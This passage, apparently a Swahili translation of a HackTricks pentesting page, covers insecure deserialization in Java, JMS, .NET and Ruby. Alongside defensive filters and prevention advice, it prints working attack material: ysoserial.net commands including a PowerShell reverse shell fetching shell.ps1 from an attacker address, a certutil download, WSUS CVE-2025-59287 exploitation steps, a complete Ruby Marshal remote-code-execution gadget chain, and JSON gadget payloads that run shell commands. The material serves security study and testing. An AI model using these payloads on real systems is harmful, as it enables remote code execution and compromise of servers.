  • Classes zinazotarajiwa kwa deserialization zimetambulika.

Fanya override ya resolveClass() method ili kupunguza deserialization kwa classes zilizoruhusiwa tu. Hii inazuia deserialization ya class yoyote isipokuwa zile zilizoidhinishwa wazi, kama katika mfano ufuatao unaozuia deserialization kwa class ya Bicycle pekee:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Kutumia Java Agent kwa Kuimarisha Usalama inatoa suluhisho mbadala wakati marekebisho ya code hayawezekani. Njia hii inatumika hasa kwa blacklisting harmful classes, kwa kutumia JVM parameter:

-javaagent:name-of-agent.jar

Inatoa njia ya kuimarisha usalama wa deserialization wakati wa utekelezaji (dynamically), inayofaa kwa mazingira ambapo mabadiliko ya haraka ya code hayafai.

Angalia mfano katika rO0 by Contrast Security

Kutekeleza Serialization Filters: Java 9 ilizindua serialization filters kupitia interface ya ObjectInputFilter, ikitoa mekanismo yenye nguvu ya kubainisha vigezo ambavyo serialized objects lazima vitimize kabla ya ku-deserialized. Filters hizi zinaweza kutumika kwa ujumla au kwa kila stream, zikitoa udhibiti wa kina juu ya mchakato wa deserialization.

Ili kutumia serialization filters, unaweza kuweka global filter inayohusika na shughuli zote za deserialization au kuisanidi kwa njia ya dynamic kwa streams maalum. Kwa mfano:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Kutumia Maktaba za Nje kwa Usalama Ulio Boreshewa: Maktaba kama NotSoSerial, jdeserialize, na Kryo zinatoa vipengele vya juu vya kudhibiti na kufuatilia Java deserialization. Maktaba haya yanaweza kutoa tabaka za ziada za usalama, kama kuorodhesha madarasa yaliyoruhusiwa (whitelisting) au kuzuia madarasa (blacklisting), kuchambua vitu vilivyoserilishwa kabla ya deserialization, na kutekeleza mikakati maalum ya serialization.

  • NotSoSerial huingilia mchakato wa deserialization ili kuzuia utekelezaji wa nambari isiyoaminika.
  • jdeserialize huruhusu uchambuzi wa vitu vya Java vilivyoserilishwa bila kuvi-deserialize, kusaidia kubaini yaliyoweza kuwa hatari.
  • Kryo ni mfumo mbadala wa serialization unaosisitiza kasi na ufanisi, ukitoa mikakati inayoweza kusanidiwa ya serialization ambayo inaweza kuboresha usalama.

Marejeo

JNDI Injection & log4Shell

Find whats is JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell (and example of this vuln) in the following page:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

The Java Message Service (JMS) API ni API ya middleware inayolenga ujumbe katika Java kwa kutuma ujumbe kati ya wateja wawili au zaidi. Ni utekelezaji wa kushughulikia tatizo la producer–consumer. JMS ni sehemu ya Java Platform, Enterprise Edition (Java EE), na ilifafanuliwa na spesifikesheni iliyotengenezwa na Sun Microsystems, lakini tangu wakati huo imeongozwa na Java Community Process. Ni standard ya ujumbe inayoruhusu vipengele vya programu vinavyojengwa kwa Java EE kuunda, kutuma, kupokea, na kusoma ujumbe. Inaruhusu mawasiliano kati ya vipengele tofauti vya programu iliyogawanywa kuwa visivyofungwa, vinavyoaminika, na asynchronous. (From Wikipedia).

Products

Kuna bidhaa kadhaa zinazotumia middleware hii kutuma ujumbe:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Exploitation

Hivyo, kwa msingi kuna huduma nyingi zinazotumia JMS kwa njia hatarishi. Kwa hivyo, ikiwa una idhini za kutosha za kutuma ujumbe kwa huduma hizi (kawaida utahitaji kredensiali halali) unaweza kuwa na uwezo wa kutuma vitu vya hatari vilivyoserilishwa ambavyo vitafanyiwa deserialization na consumer/subscriber.
Hii inamaanisha kwamba katika exploitation hii wateja wote watakaotumia ujumbe huo wataathiriwa.

Unapaswa kukumbuka kwamba hata kama huduma ni dhaifu (kwa sababu inafanya deserialization kwa usalama mdogo wa input ya mtumiaji) bado utahitaji kupata gadgets halali za ku-exploit udhaifu huo.

Zana JMET ilianzishwa kuungana na kushambulia huduma hizi kwa kutuma vitu vingi vya hatari vilivyoserilishwa kwa kutumia gadgets zinazojuwa. Exploits hizi zitatumika ikiwa huduma bado ni dhaifu na ikiwa yoyote ya gadgets zilizotumika ipo ndani ya programu dhaifu.

References

.Net

Katika muktadha wa .Net, exploits za deserialization hufanya kazi kwa njia inayofanana na zile zinazopatikana katika Java, ambapo gadgets hutumiwa kuendesha nambari maalum wakati wa deserialization ya kitu.

Fingerprint

WhiteBox

Chanzo cha msimbo kinapaswa kuchunguzwa kwa matukio ya:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

Umuhimu unapaswa kuwekwa kwenye serializers zinazoruhusu aina kubainishwa na kigezo kinachodhibitiwa na mtumiaji.

BlackBox

Utafutaji unapaswa kulenga mfuatano ulioboreshwa wa Base64 AAEAAAD///// au muundo mwingine wowote unaofanana ambao unaweza kufanyiwa deserialization upande wa seva, ukiruhusu udhibiti wa aina itakayotolewa kwa deserialization. Hii inaweza kujumuisha, lakini si tu kwa, miundo ya JSON au XML yenye TypeObject au $type.

ysoserial.net

Katika kesi hii unaweza kutumia zana ysoserial.net ili kuunda exploits za deserialization. Mara tu unapopakua repository ya git unapaswa kukusanya (compile) zana kwa kutumia Visual Studio kwa mfano.

If you want to learn about how does ysoserial.net creates it’s exploit you can check this page where is explained the ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.

Chaguzi kuu za ysoserial.net ni: --gadget, --formatter, --output na --plugin.

  • --gadget hutumika kuonyesha gadget inayotumiwa kuabusi (kuonyesha class/function ambayo itatumika wakati wa deserialization kuendesha amri).
  • --formatter hutumika kuonyesha njia ya kuserializa exploit (unahitaji kujua ni maktaba gani backend inatumia kufanya deserialization ya payload na kutumia ile ile kuserializa).
  • --output hutumika kuonyesha ikiwa unataka exploit katika raw au base64 iliyosimbwa. Kumbuka kwamba ysoserial.net itafanya encoding ya payload kwa kutumia UTF-16LE (encoding inayotumika kwa default kwenye Windows), hivyo ukipata raw na kisha kuibadilisha tu kutoka kwenye koni ya linux unaweza kupata matatizo ya encoding compatibility ambayo yatazuia exploit kufanya kazi ipasavyo (katika HTB JSON box payload ilifanya kazi kwa wote UTF-16LE na ASCII lakini hili halimaanishi litaenda kila wakati).
  • --plugin ysoserial.net inaunga mkono plugins za kutengeneza exploits for specific frameworks kama ViewState

More ysoserial.net parameters

  • --minify itatoa payload ndogo (ikiwa inawezekana)
  • --raf -f Json.Net -c "anything" Hii itaonyesha gadgets zote zinazoweza kutumiwa na formatter iliyotolewa (Json.Net katika kesi hii)
  • --sf xml unaweza kuonyesha gadget (-g) na ysoserial.net itatafuta formatters zenye “xml” (haitazingatii case)

mifano ya ysoserial ya kuunda exploits:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net pia ina parameter ya kuvutia sana ambayo husaidia kuelewa vizuri jinsi kila exploit inavyofanya kazi: --test
Ikiwa utaonyesha parameter hii ysoserial.net itajaribu exploit locally, hivyo unaweza kujaribu kama payload yako itafanya kazi vizuri.
Parameter hii ni muhimu kwa sababu ukikagua msimbo utaona vipande vya msimbo kama vifuatavyo (kutoka ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Hii inamaanisha kwamba ili kujaribu exploit, msimbo utaaita serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

Katika msimbo uliotangulia una udhaifu kwa exploit iliyotengenezwa. Hivyo ikiwa utakuta kitu kinachofanana katika programu ya .Net, inaonyesha kuwa programu hiyo huenda pia ina udhaifu.
Kwa hivyo parameter --test inatuwezesha kuelewa ni vipande gani vya msimbo vinavyoathirika na deserialization exploit ambayo ysoserial.net inaweza kuunda.

ViewState

Angalia this POST about how to try to exploit the __ViewState parameter of .Net to execute arbitrary code. Ikiwa tayari unajua siri zinazotumika kwenye mashine ya mwathiriwa, read this post to know to execute code.

Real‑world sink: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE

  • Endpoints zilizoathiriwa:
  • /SimpleAuthWebService/SimpleAuth.asmx → GetCookie() AuthorizationCookie decrypted then deserialized with BinaryFormatter.
  • /ReportingWebService.asmx → ReportEventBatch and related SOAP ops that reach SoapFormatter sinks; base64 gadget is processed when the WSUS console ingests the event.
  • Sababu ya mzizi: bytes zinazosimamiwa na mshambulizi zinafikia legacy .NET formatters (BinaryFormatter/SoapFormatter) bila allow‑lists/binders kali, hivyo gadget chains zinaendeshwa kwa akaunti ya huduma ya WSUS (mara nyingi SYSTEM).

Minimal exploitation (Reporting path):

  1. Tengeneza .NET gadget kwa ysoserial.net (BinaryFormatter au SoapFormatter) na utoe base64, kwa mfano:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"

# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
  1. Tengeneza SOAP kwa ajili ya ReportEventBatch ukiingiza gadget ya base64 na ui-POST kwa /ReportingWebService.asmx.
  2. Wakati admin anafungua console ya WSUS, event inadeserialized na gadget inafanya kazi (RCE kama SYSTEM).

AuthorizationCookie / GetCookie()

  • AuthorizationCookie iliyotengenezwa inaweza kukubaliwa, kufichuliwa (decrypted), na kupitishwa kwa BinaryFormatter sink, ikiruhusu pre‑auth RCE ikiwa inaweza kufikiwa.

Public PoC (tecxx/CVE-2025-59287-WSUS) parameters:

$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"

Angalia Windows Local Privilege Escalation – WSUS

Kuzuia

Ili kupunguza hatari zinazohusiana na deserialization katika .Net:

  • Epuka kuruhusu data streams zitateua aina za vitu. Tumia DataContractSerializer au XmlSerializer pale inapowezekana.
  • Kwa JSON.Net, weka TypeNameHandling kuwa None: TypeNameHandling = TypeNameHandling.None
  • Epuka kutumia JavaScriptSerializer pamoja na JavaScriptTypeResolver.
  • Punguza aina ambazo zinaweza ku-deserialize, ukielewa hatari zinazojitokeza kwenye aina za .Net, kama System.IO.FileInfo, ambazo zinaweza kubadilisha sifa za faili za server, na hivyo kusababisha mashambulizi ya denial of service.
  • Kuwa makini na aina zenye mali hatari, kama System.ComponentModel.DataAnnotations.ValidationException na mali yake Value, ambayo inaweza kutumiwa vibaya.
  • Dhibiti kwa usalama uundwaji wa aina (type instantiation) ili kuzuia mashambuliaji kuathiri mchakato wa deserialization, jambo linaloweza kufanya hata DataContractSerializer au XmlSerializer kuwa hatarini.
  • Tekeleza udhibiti wa orodha nyeupe (white list) kwa kutumia SerializationBinder maalum kwa BinaryFormatter na JSON.Net.
  • Kaa na taarifa kuhusu gadgets za deserialization zisizo salama ndani ya .Net na hakikisha deserializers hazitaundi aina hizo.
  • Tenganisha msimbo wenye hatari kutoka kwa msimbo unaofanikiwa na intaneti ili kuepuka kufichua gadgets zilizojulikana, kama System.Windows.Data.ObjectDataProvider katika applications za WPF, kwa vyanzo vya data visivyoaminika.

Marejeo

Ruby

Katika Ruby, serialization inafanywa kwa njia mbili ndani ya maktaba ya marshal. Njia ya kwanza, inayoitwa dump, inatumika kubadilisha object kuwa mtiririko wa byte. Mchakato huu unaitwa serialization. Kwa upande mwingine, njia ya pili, load, inatumiwa kurejesha mtiririko wa byte kuwa object, mchakato unaojulikana kama deserialization.

Kwa kuimarisha vitu vilivyo-serialized, Ruby inatumia HMAC (Hash-Based Message Authentication Code), kuhakikisha uadilifu na uhalisi wa data. Ufunguzi unaotumika kwa madhumuni haya umehifadhiwa katika moja ya maeneo yafuatayo:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X generic deserialization to RCE gadget chain (maelezo zaidi katika https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Mnyororo mwingine wa RCE wa kutumia Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() method

Kama ilivyoelezwa katika this vulnerability report, ikiwa ingizo lisilosafishwa la mtumiaji linapofika kwenye .send() method ya ruby object, method hii inaruhusu kuitisha method nyingine yoyote ya object hiyo kwa vigezo vyovyote.

Kwa mfano, kuita eval na kisha ruby code kama parameter ya pili kutawezesha kutekeleza msimbo wowote:

<Object>.send('eval', '<user input with Ruby code>') == RCE

Zaidi ya hayo, ikiwa kipengele kimoja tu cha .send() kinadhibitiwa na mshambulizi, kama ilivyotajwa katika writeup iliyopita, inawezekana kuita njia yoyote ya object ambayo haitaji vigezo au ambayo vigezo vyake vina thamani za chaguo-msingi.
Kwa hili, inawezekana kuorodhesha njia zote za object ili kupata baadhi ya njia zenye kuvutia ambazo zinakidhi mahitaji hayo.

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ruby class pollution

Angalia jinsi inaweza kuwa inawezekana kuchafua class ya Ruby na kuitumia hapa.

Ruby _json pollution

Wakati unapotuma kwenye body baadhi ya vigezo ambavyo haviwezi ku-hash kama array, vitajumuishwa kwenye key mpya iitwayo _json. Hata hivyo, mshambulizi anaweza pia kuweka kwenye body thamani iitwayo _json yenye vigezo vya kibinafsi anavyotaka. Kisha, ikiwa backend kwa mfano inakagua uhalisi wa parameter lakini pia inatumia parameter _json kufanya kitendo fulani, inaweza kufanywa bypass ya authorization.

Angalia taarifa zaidi katika Ruby _json pollution page.

Other libraries

Mbinu hii ilichukuliwa kutoka kwenye chapisho la blogu hili.

Kuna maktaba nyingine za Ruby zinazoweza kutumika ku-serialize objects na kwa hivyo zinaweza kutumiwa vibaya kupata RCE wakati wa insecure deserialization. Jedwali lifuatalo linaonyesha baadhi ya maktaba hizi na method wanayoitisha kwenye library iliyopakuliwa kila inapounserialize (kazi ya kuabusu kupata RCE kwa msingi):

MaktabaData ya ingizoMethod inayochochea ndani ya class
Marshal (Ruby)Binary_load
OjJSONhash (class inapaswa kuwekwa ndani ya hash(map) kama key)
OxXMLhash (class inapaswa kuwekwa ndani ya hash(map) kama key)
Psych (Ruby)YAMLhash (class inapaswa kuwekwa ndani ya hash(map) kama key)
init_with
JSON (Ruby)JSONjson_create ([ona maelezo kuhusu json_create mwishoni](#table-vulnerable-sinks))

Mfano wa msingi:

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

Katika kesi ya kujaribu kutumia vibaya Oj, ilikuwa inawezekana kupata gadget class ambayo ndani ya hash function yake itaitisha to_s, ambayo itaitisha spec, ambayo itaitisha fetch_path, na ilikuwa inawezekana kuifanya ichukue URL ya nasibu, ikitoa kigunduzi mzuri kwa aina hizi za unsanitized deserialization vulnerabilities.

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

Zaidi ya hayo, ilibainika kwamba kwa mbinu iliyotangulia pia kabrasha huundwa kwenye mfumo, jambo linalohitajika ili abuse gadget nyingine na kugeuza hili kuwa RCE kamili kwa kitu kama:

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Angalia maelezo zaidi katika original post.

Bootstrap Caching

Sio hasa desearilization vuln, lakini ni mbinu nzuri ya kutumia bootstrap caching kupata RCE kutoka kwa rails application kwa kutumia arbitrary file write (pata chapisho kamili hapa: original post in here).

Hapa chini ni muhtasari mfupi wa hatua zilizofafanuliwa kwenye makala za kutumia arbitrary file write kwa kutumia vibaya Bootsnap caching:

  • Identify the Vulnerability and Environment

Funguo la upakiaji faili kwenye app ya Rails linamruhusu mshambuliaji kuandika faili kiholela. Ingawa app ina vikwazo (tu saraka fulani kama tmp zinaweza kuandikwa kwa sababu user wa Docker si root), bado inaruhusu kuandika kwenye saraka ya cache ya Bootsnap (kawaida chini ya tmp/cache/bootsnap).

  • Understand Bootsnap’s Cache Mechanism

Bootsnap hufanya boot ya Rails kuwa ya haraka kwa ku-cache code za Ruby zilizokompaliwa, pamoja na faili za YAML na JSON. Huhifadhi faili za cache zenye cache key header (na mashamba kama Ruby version, file size, mtime, compile options, n.k.) ikifuatiwa na code iliyokompaliwa. Header hii hutumika kuthibitisha cache wakati wa kuanzisha app.

  • Gather File Metadata

Mshambuliaji kwanza huchagua faili lengwa inayoweza kupakiwa wakati wa startup ya Rails (kwa mfano, set.rb kutoka kwa maktaba ya kawaida ya Ruby). Kwa kutekeleza code ya Ruby ndani ya container, wanachukua metadata muhimu (kama RUBY_VERSION, RUBY_REVISION, size, mtime, na compile_option). Data hizi ni muhimu kwa kuunda cache key halali.

  • Compute the Cache File Path

Kwa kuiga utaratibu wa hash wa Bootsnap FNV-1a 64-bit, hupatikana njia sahihi ya faili za cache. Hatua hii inahakikisha faili ya cache ya mhalifu imewekwa mahali ambako Bootsnap inatarajia (kwa mfano, chini ya tmp/cache/bootsnap/compile-cache-iseq/).

  • Craft the Malicious Cache File

Mshambuliaji anatayarisha payload inayofanya:

  • Inatekeleza amri za kiholela (kwa mfano, kuendesha id kuonyesha taarifa za mchakato).
  • Inafuta cache ya mhalifu baada ya utekelezaji ili kuzuia utekelezaji wa mzunguko.
  • Inapakia faili asilia (kwa mfano, set.rb) ili kuepuka kuangusha application.

Payload hii inakompaliwa kuwa binary Ruby code na kuunganishwa na cache key header iliyotengenezwa kwa uangalifu (kwa kutumia metadata iliyokusanywa awali na nambari sahihi ya toleo la Bootsnap).

  • Overwrite and Trigger Execution Kwa kutumia arbitrary file write vulnerability, mshambuliaji anaandika faili ya cache iliyotengenezwa kwenye eneo iliyokadiriwa. Kisha, wanasababisha server kuanzishwa upya (kwa kuandika kwenye tmp/restart.txt, ambayo inafuatiliwa na Puma). Wakati wa kuanzishwa upya, wakati Rails itakapohitaji faili lengwa, faili ya cache ya mhalifu itapakiwa, na kusababisha remote code execution (RCE).

Ruby Marshal exploitation in practice (updated)

Chukulia njia yoyote ambapo bytes zisizotegemewa zinapofika Marshal.load/marshal_load kama RCE sink. Marshal hujenga upya object graphs za kiholela na husababisha callbacks za library/gem wakati wa materialization.

  • Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
  • Aina za kawaida za gadget zinazojulikana katika chains halisi: Gem::SpecFetcher, Gem::Version, Gem::RequestSet::Lockfile, Gem::Resolver::GitSpecification, Gem::Source::Git.
  • Alama ya kawaida ya side-effect iliyowekwa katika payloads (inayotekelezwa wakati wa unmarshal):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip

Wapi inajitokeza katika programu halisi:

  • Rails cache stores na session stores ambazo kihistoria zimekuwa zikitumia Marshal
  • Background job backends na file-backed object stores
  • Chochote custom persistence au transport ya binary object blobs

Utafutaji wa gadget kwa kiwango cha viwandani:

  • Grep kwa constructors, hash, _load, init_with, au methods zenye side-effects zinazoitwa wakati wa unmarshal
  • Tumia CodeQL’s Ruby unsafe deserialization queries kufuatilia sources → sinks na kuonyesha gadgets
  • Thibitisha kwa PoCs za umma zenye miundo mbalimbali (JSON/XML/YAML/Marshal)

Marejeo

  • Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
  • elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
  • Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
  • CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
  • ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
  • Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
  • GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
  • GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
  • Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
  • Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
  • Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
  • Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
  • Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
  • Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
  • watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
  • OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
  • PoC – tecxx/CVE-2025-59287-WSUS
  • RSC Report Lab – CVE-2025-55182 (React 19.2.0)

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks